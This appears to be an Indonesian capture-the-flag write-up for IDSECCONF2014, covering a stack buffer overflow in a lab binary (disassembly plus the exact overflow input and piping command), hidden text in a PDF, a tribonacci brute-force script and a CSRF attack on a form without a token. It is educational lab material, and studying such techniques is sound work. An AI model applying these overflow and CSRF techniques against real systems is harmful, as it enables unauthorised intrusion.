IDSECCONF2014 CtF writeup by nganggur Easy Exploit
.text:0804850C .text:0804850C main
public main proc near
; DATA XREF: _start+17 o
.text:0804850C
push ebp
.text:0804850D
mov
.text:0804850F
and
esp, 0FFFFFFF0h
.text:08048512
sub
esp, 30h
.text:08048515
mov
.text:0804851D
lea
eax, [esp+18h]
.text:08048521
mov
[esp+4], eax
.text:08048525
mov
dword ptr [esp], offset a25s ; "%25s"
.text:0804852C
call ___isoc99_scanf
.text:08048531
lea
eax, [esp+18h]
.text:08048535
mov
[esp+4], eax
.text:08048539
mov
dword ptr [esp], offset format ; "buf: %s\n"
ebp, esp
dword ptr [esp+2Ch], 0
.text:08048540
call _printf
.text:08048545
mov
eax, [esp+2Ch]
.text:08048549
mov
[esp+4], eax
.text:0804854D
mov
dword ptr [esp], offset aVal0x08x ; "val: 0x%08x\n"
.text:08048554
call _printf
.text:08048559
cmp
.text:08048561
jnz
.text:08048563
mov
.text:0804856A
call _puts
.text:0804856F
mov
.text:08048576
call _system
.text:0804857B
mov
eax, 0
.text:08048580
jmp
short locret_804859A
dword ptr [esp+2Ch], 0C0FFEE76h short loc_8048582 dword ptr [esp], offset s ; "Mantap,flag: !"
dword ptr [esp], offset command ; "/bin/cat valid/flag"
.text:08048582 ; --------------------------------------------------------------------------.text:08048582 .text:08048582 loc_8048582:
; CODE XREF: main+55 j
.text:08048582
mov
dword ptr [esp], offset aTidakkkkkk ; "Tidakkkkkk!!!"
.text:08048589
call _puts
.text:0804858E
mov
.text:08048595
call _exit
dword ptr [esp], 1 ; status
.text:0804859A ; --------------------------------------------------------------------------.text:0804859A .text:0804859A locret_804859A: .text:0804859A
leave
.text:0804859B
retn
.text:0804859B main
endp
; CODE XREF: main+74 j
Dari kode diatas, program ini akan mengeksekusi perintah "/bin/cat valid/flag" (file yang isinya flag) apabila nilai di [esp+2Ch] adalah 0C0FFEE76h (Bisa dilihat pada alamat 08048559)
Di alamat 0804852C, program akan mengambil inputan dari stdin lewat fungsi ___isoc99_scanf dan buffer nya diletakkan di alamat [esp+18h]. Jumlah buffer 'normal' yang akan menampung inputan tersebut adalah 2Ch - 18h = 14h (20 karakter), sehingga apabila input yang diambil oleh program melebihi 20 karakter, buffer pada [esp+2Ch] akan dioverwrite. Dan nilai dari [esp+2Ch] harus sama dengan 0C0FFEE76h jika ingin program ini mengoutpukan flag dari file valid/flag.
Salah satu cara input dari stdin adalah dengan mengetikkan langsung karakter ke terminal. Masalahnya nilai 0C0FFEE76h tidak bisa diketik langsung ke terminal. Terminal hanya memroses karakter unicode dan bukan ASCII. Jadi inputnya harus pake trik dari file kemudian di 'cat' filenya ke stdout, lalu di pipe ke programnya.
cat exploit | ./expl1
isi filenya adalah :
12345678901234567890vîÿÀ
20 karakter buffer asli, dan 4 byte buffer sisipan 76 EE FF C0
Easy Forensic,
Nyembunyiin object/text di balik image di pdf. Solusi : 1. buka aja file pdf nya lewat pdf viewer nya linux. Adobe reader nya windows ga bisa nampilin teks yang disembunyiin di balik gambar di pdf nya. 2. setelah buka file pdf nya, pencet aja ctrl+A buat nampilin flag nya
Easy Programming.
Kita dikasih deret 1, 1, 1, 3, 5, 9, 17, 31, 57, 105, 193, 355 Dari googling sedikit, didapat kalo deret ini adalah deret tribonacci dengan inisialisasi a,b,c = 1 Dan kita disuruh nyari pada elemen ke berapa dari deret tersebut yang nilainya : 1471338318398529007088445426.......833044527384388989361673409 Solusi : bruteforce. Script python : def fiblike(start): addnum = len(start) memo = start[:] def fibber(n): try: return memo[n] except IndexError: ans = sum(fibber(i) for i in range(n-addnum, n)) memo.append(ans) return ans return fibber
fibo = fiblike([1,1,1]) for i in range(2000000): s=("%s") % fibo(i) if s[:10] == '1471338318': print i break
elemen tersebut berada di index 131338
Easy Web.
Easy web ini mengeksploitasi CSRF (cross site request forgery) Bisa dilihat dari struktur html nya yang tidak menyediakan csrf token pada form method post. Cara eksploitasinya adalah save file web nya menjadi html dan ganti url action pada method post nya